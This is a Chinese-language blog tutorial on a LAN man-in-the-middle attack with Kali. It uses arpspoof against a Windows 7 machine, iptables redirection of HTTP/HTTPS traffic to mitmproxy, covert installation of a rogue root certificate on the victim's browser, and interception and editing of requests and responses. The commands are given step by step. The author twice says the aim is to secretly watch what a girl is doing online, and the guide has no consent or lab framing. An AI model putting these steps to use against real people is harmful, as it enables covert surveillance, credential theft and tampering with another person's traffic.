这里提供每一步详细操作,由Hui3c编写,
前排求关注
通过本次的学习,你可以知道或学习到:
- 使用mitmproxy进行简单的ssl劫持
- 使用mitmproxy进行浏览器隐私监听
- mitmproxy简单用法
- mitmproxy劫包,修改包
一、准备阶段
1. 查看Kali和win7的ip,确保在同一局域网ping通
windows 在命令提示符输入:
C:\Users\233>ipconfig
Kali在终端输入:
root@hui:~# ifconfig
值得注意的是,我们需要记住这个网卡的号码!
#kali ip 192.168.0.128 使用网卡0
#win7 ip 192.168.0.103
2. 两台电脑在同一局域网并且能够ping通
二、简单的SSl劫持
- Kali中获取当前网关
root@hui:~# route -n
# Kernel IP routing table
# Destination Gateway Genmask Flags Metric Ref Use Iface
# 0.0.0.0 192.168.0.1 0.0.0.0 UG 100 0 0 eth0
# 192.168.0.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
可以看见,网关为192.168.0.1
2. 使用kali进行arp欺骗
格式为:
arpspoof -i 网卡 -t 网关 -r 目标ip
root@hui:~# arpspoof -i eth0 -t 192.168.0.1 -r 192.168.0.103
三、配置防火墙规则,开启转发
主要是为了让mitmproxy监听8080端口
# 将防火墙重新配置
root@hui:~# iptables -t nat -F
# 80端口转至8080端口监听
root@hui:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
# 443端口转至8080端口监听
root@hui:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
开启流量转发(不然访问不了网页):
# 开启流量转发
root@hui:~# echo 1 > /proc/sys/net/ipv4/ip_forward
四、SSL简单攻击
- 使用默认的配置进行攻击
- 使用伪造的证书进行攻击(本篇不讲)
# 启动mitmproxy,保存日志到mitmproxy.log
root@hui:~# mitmproxy -T --host -w mitmproxy.log
此时,使用win7打开浏览器:
成功的对目标进行ssl欺骗
再看看kali的终端:
已经完成对目标的ssl欺骗。
ssl欺骗怎么能满足我们的需求呢,肯定得干点什么事情对吧
五、给目标安装伪证书
接下来就进入重头戏了,开始我们学习之旅。能够偷偷看看妹子在干什么
- 使用默认的证书
- 使用自己伪造的证书(本篇不讲)
接下来就是要展现你们社会工程学的时间了,这里假设你获得了对方的电脑,你需要在对方的电脑上浏览器访问
使用浏览器访问 mitm.it
然后下载对应电脑版本的证书。接下来再继续动手脚
这里以谷歌浏览器为例子
在谷歌浏览器中进入设置
输入chrome://settings/
1.找到最下面的高级选项,点击进去:
2.找到“管理证书”,点击
3.点击“导入”
4.下一步
5.选择**个人信息交换(.*p12)**这个文件类型,选择刚刚下载好的证书,继续下一步
6.直接下一步,密码不用输入
7.选择“受信任的根证书颁发机构”
8.完成操作,选择“是”
9.重启浏览器,访问随便一个网站,发现已经可以访问。
10.完成监听!我们在kali这边也能看见访问的记录了!就可以看看小姐姐在干什么
六、mitmproxy 基本用法
# 如果有基础的可以直接略过本大章
1.整理了一些常用的快捷键:
注意:区分大小写
键位 | 功能 |
---|---|
C | 清空控制台 |
tab | 请求/响应内容切换 |
q | 返回上一个页面 |
Q | 退出mitmproxy |
m | 调整响应结果显示的格式,如json等 |
e | 编辑请求,响应 |
a | 允许通过当前选定的请求 |
A | 允许通过当前所有的请求 |
G | 查看最新一条请求 |
r | 重新发送当前选定的请求 |
i | 拦截模式编辑 |
2.基本的拦截命令
在控制台输入“i”,然后输入"~q"表示拦截所有请求
3.刷新win7浏览器,发现kali所有被拦截的请求都变成了红色
这时我们可以使用大写的G键查看最新的请求,你可以用小键盘上的上下左右键进行拦截选择,回车进入详细页面,按小写的a表示允许通过当前选定的拦截,所写的A表示允许通过当前s有的拦截请求,(即全部红色的字)
值得注意的是,当你在进行拦截时,目标是无法访问当前拦截的窗口的,所以要准确的拦截,不能单单使用~q命令,这样对方使用网络感觉极差
简单的介绍几个常用的拦截方法:
拦截命令 | 作用 |
---|---|
~q | 拦截所有的请求 |
~c 403 | 拦截指定的状态,如403状态 |
~m POST | 拦截所有指定的请求,如POST请求 |
七、拦截数据包(发送)
常用的就这几个,或者可以直接在i里输入指定的url连接进行拦截,只要访问相关的页面,就会进行拦截
这时候我们就可以选中这条经过你精挑细选的结果按回车进去编辑
我们已经可以看见,已经将拦截到的请求自动变成json格式,你也可以按m键,然后查看其对应的选择,按高亮的蓝色字,就可以切换显示的样子。
如果要编辑内容的话,输入小写的e并按r选择raw body
打开后的基本用法,和vim的基本用法一样,详细的话去找vim相关的教程(本篇不讲)
输入i键后编辑好,按esc然后输入:wq 结束操作
再按一下小写的q键返回上一级
发送请求(选中当前被拦截的请求,输入小写a)
好的,我们已经完成了基本的调包劫持工作,接下来就是对服务器返回来的结果进行修改了
八、拦截数据包(返回)
基本的按键用法(区分大小写)
按键 | 作用 |
---|---|
e | 对当前页面的返回响应进行编辑 |
m | 选择返回格式的显示 ,如显示为json格式 |
当我们发现我们刚刚发送的数据包请求允许通过后,服务器马上返回来一条记录,与发送数据包不同的是,服务器返回的拦截拥有状态
我们点击回车进行编辑,在request页面查看刚刚我们已经串改的数据包
按下tab键切换到response,即服务器响应页面,按e键进行编辑,你也可以按m键选择要显示的格式,这里我选择了“仅内容字符串”
在按e键后,继续选择raw body进行编辑返回结果
输入:wq结束编辑
选中当前返回来的数据,按a键,允许通过。
大功告成!
喜悦的截图效果:
未修改前的“用户名或密码错误”
修改后的:
九、总结
那么,这里只是简单的介绍了mitmproxy的简单的一些操作,还有修改伪造cookie,对头部劫持的,可能会在后面的课程中讲到 看我心情啦
通过这次的学习,我们能够基本掌握mitmproxy的一些拦截和劫包的操作,同时,这个强大的工具不仅仅是有这些功能的,我教大家入门,大家也可以去到mitmproxy的官网
进行学习,虽然是英文我看不懂
可能后续还会出更多kali的课程,请关注我哦,亲们。
由Hui3c编写发布,有错字请指出!
记得关注我 最后附上一张拦截的表达式
指令 | 作用 |
---|---|
~b regex | 消息内容body |
~bq regex | 请求内容的body |
~bs regex | 返回内容的body |
~d regex | 指定的域名 |
~c int | HTTP状态码 |
~hq regex | 请求header |
~hs regex | 返回header |
~u regex | 指定的url |
! | 非 |
& | 并 |
¦(这个符号打不出来) | 或 |
() | 一组表达式 |